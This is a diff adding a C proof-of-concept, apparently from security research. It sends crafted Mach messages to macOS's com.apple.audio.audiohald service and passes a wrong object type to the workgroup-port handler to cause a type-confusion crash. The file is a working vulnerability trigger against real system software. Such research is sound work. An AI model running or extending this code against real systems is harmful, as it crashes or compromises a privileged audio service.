|
| 1 | +/* |
| 2 | +Copyright 2025 Google LLC |
| 3 | +
|
| 4 | +Licensed under the Apache License, Version 2.0 (the "License"); |
| 5 | +you may not use this file except in compliance with the License. |
| 6 | +You may obtain a copy of the License at |
| 7 | +
|
| 8 | + https://www.apache.org/licenses/LICENSE-2.0 |
| 9 | +
|
| 10 | +Unless required by applicable law or agreed to in writing, software |
| 11 | +distributed under the License is distributed on an "AS IS" BASIS, |
| 12 | +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| 13 | +See the License for the specific language governing permissions and |
| 14 | +limitations under the License. |
| 15 | +*/ |
| 16 | + |
| 17 | +#include <mach/mach.h> |
| 18 | +#include <stdio.h> |
| 19 | +#include <stdlib.h> |
| 20 | +#include <unistd.h> |
| 21 | +#include <launch.h> |
| 22 | +#include <string.h> |
| 23 | +#include <servers/bootstrap.h> |
| 24 | +#include <mach/vm_map.h> |
| 25 | + |
| 26 | +#define XSYSTEM_OPEN_MSG_SIZE 0x38 |
| 27 | +#define XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE 0x24 |
| 28 | + |
| 29 | +typedef struct { |
| 30 | + mach_msg_header_t header; |
| 31 | + mach_msg_size_t msgh_descriptor_count; |
| 32 | + mach_msg_port_descriptor_t descriptor[1]; |
| 33 | + char body[]; |
| 34 | +} xsystemopen_mach_message; |
| 35 | + |
| 36 | +typedef struct { |
| 37 | + mach_msg_header_t header; |
| 38 | + char body0[8]; |
| 39 | + uint32_t object_id; |
| 40 | +} xworkgroup_mach_message; |
| 41 | + |
| 42 | +mach_port_t create_mach_port_with_send_and_receive_rights() { |
| 43 | + mach_port_t port; |
| 44 | + kern_return_t kr; |
| 45 | + |
| 46 | + // Allocate a port with receive rights |
| 47 | + kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); |
| 48 | + if (kr != KERN_SUCCESS) { |
| 49 | + fprintf(stderr, "Failed to allocate port: %s\n", mach_error_string(kr)); |
| 50 | + exit(1); |
| 51 | + } |
| 52 | + |
| 53 | + // Insert a send right for the port |
| 54 | + kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); |
| 55 | + if (kr != KERN_SUCCESS) { |
| 56 | + fprintf(stderr, "Failed to insert send right: %s\n", mach_error_string(kr)); |
| 57 | + exit(1); |
| 58 | + } |
| 59 | + |
| 60 | + return port; // Return the port with send rights |
| 61 | +} |
| 62 | + |
| 63 | +int main(int argc, char *argv[]) { |
| 64 | + printf("Getting started...\n"); |
| 65 | + |
| 66 | + int opt; |
| 67 | + char *service_name = "com.apple.audio.audiohald"; |
| 68 | + mach_port_t destination_port = MACH_PORT_NULL; |
| 69 | + |
| 70 | + mach_port_t bootstrap_port; |
| 71 | + kern_return_t kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port); |
| 72 | + if (kr != KERN_SUCCESS) { |
| 73 | + fprintf(stderr, "Failed to get bootstrap port, error: %s\n", mach_error_string(kr)); |
| 74 | + return 1; |
| 75 | + } |
| 76 | + |
| 77 | + printf("Got Bootstrap port! %d\n", bootstrap_port); |
| 78 | + |
| 79 | + kr = bootstrap_look_up(bootstrap_port, service_name, &destination_port); |
| 80 | + if (kr != KERN_SUCCESS) { |
| 81 | + printf("bootstrap lookup failed, error: %s\n", mach_error_string(kr)); |
| 82 | + return 1; |
| 83 | + } |
| 84 | + printf("Got service port! %d\n", destination_port); |
| 85 | + |
| 86 | + mach_msg_return_t result; |
| 87 | + |
| 88 | + // Send _XSystem_Open message to initialize client |
| 89 | + xsystemopen_mach_message *xsystemopen_msg = malloc(XSYSTEM_OPEN_MSG_SIZE); |
| 90 | + |
| 91 | + mach_port_t reply_port; |
| 92 | + // Set up the memory for descriptor |
| 93 | + mach_port_t send_right_port = create_mach_port_with_send_and_receive_rights(); |
| 94 | + |
| 95 | + xsystemopen_msg->msgh_descriptor_count = 1; |
| 96 | + xsystemopen_msg->descriptor[0].name = send_right_port; |
| 97 | + xsystemopen_msg->descriptor[0].disposition = MACH_MSG_TYPE_MOVE_SEND; |
| 98 | + xsystemopen_msg->descriptor[0].type = MACH_MSG_PORT_DESCRIPTOR; |
| 99 | + |
| 100 | + xsystemopen_msg->header.msgh_remote_port = destination_port; |
| 101 | + xsystemopen_msg->header.msgh_voucher_port = MACH_PORT_NULL; |
| 102 | + xsystemopen_msg->header.msgh_id = 1010000; |
| 103 | + |
| 104 | + kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); |
| 105 | + if (kr != KERN_SUCCESS) { |
| 106 | + fprintf(stderr, "Error allocating reply port: %s\n", mach_error_string(kr)); |
| 107 | + return kr; |
| 108 | + } |
| 109 | + |
| 110 | + xsystemopen_msg->header.msgh_local_port = MACH_PORT_NULL; |
| 111 | + xsystemopen_msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MOVE_SEND, MACH_PORT_NULL, MACH_MSGH_BITS_COMPLEX); |
| 112 | + |
| 113 | + result = mach_msg( |
| 114 | + &xsystemopen_msg->header, // Pointer to the message header |
| 115 | + MACH_SEND_MSG, // Send the message and then receive a reply in one call |
| 116 | + XSYSTEM_OPEN_MSG_SIZE, // Send size |
| 117 | + 0, // Receive buffer size (larger than send size) |
| 118 | + send_right_port, // Local port to receive the reply |
| 119 | + MACH_MSG_TIMEOUT_NONE, |
| 120 | + MACH_PORT_NULL |
| 121 | + ); |
| 122 | + |
| 123 | + free(xsystemopen_msg); |
| 124 | + |
| 125 | + fprintf(stderr, "Sent Mach message: %s\n", mach_error_string(kr)); |
| 126 | + |
| 127 | + if (kr != KERN_SUCCESS) { |
| 128 | + fprintf(stderr, "Error sending Mach message: %s\n", mach_error_string(kr)); |
| 129 | + return 1; |
| 130 | + } |
| 131 | + |
| 132 | + printf("XSystem_Open stage complete.\n"); |
| 133 | + |
| 134 | + xworkgroup_mach_message *workgroup_msg = malloc(XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE); |
| 135 | + |
| 136 | + workgroup_msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_PORT_NULL, MACH_PORT_NULL, MACH_PORT_NULL); |
| 137 | + workgroup_msg->header.msgh_size = XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE; |
| 138 | + workgroup_msg->header.msgh_remote_port = destination_port; |
| 139 | + workgroup_msg->header.msgh_local_port = MACH_PORT_NULL; |
| 140 | + workgroup_msg->header.msgh_id = 1010059; |
| 141 | + |
| 142 | + // Arbitrary object ID (0x1 this will retrieve the HAL System type, it's expecting an IOContext type, so it will crash) |
| 143 | + workgroup_msg->object_id = 0x1; |
| 144 | + |
| 145 | + result = mach_msg( |
| 146 | + &workgroup_msg->header, // Pointer to the message header |
| 147 | + MACH_SEND_MSG, // Just send the message |
| 148 | + XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE, // Send size |
| 149 | + 0, // Don't need to receive this message |
| 150 | + MACH_PORT_NULL, // Don't need to receive this message |
| 151 | + MACH_MSG_TIMEOUT_NONE, |
| 152 | + MACH_PORT_NULL |
| 153 | + ); |
| 154 | + |
| 155 | + if (result != KERN_SUCCESS) { |
| 156 | + fprintf(stderr, "Error in mach_msg send and receive: %s\n", mach_error_string(result)); |
| 157 | + free(workgroup_msg); |
| 158 | + return 1; |
| 159 | + } |
| 160 | + |
| 161 | + free(workgroup_msg); |
| 162 | + |
| 163 | + printf("XIOContext_Fetch_Workgroup_Port mach message processed successfully.\n"); |
| 164 | + |
| 165 | + return 0; |
| 166 | +} |
0 commit comments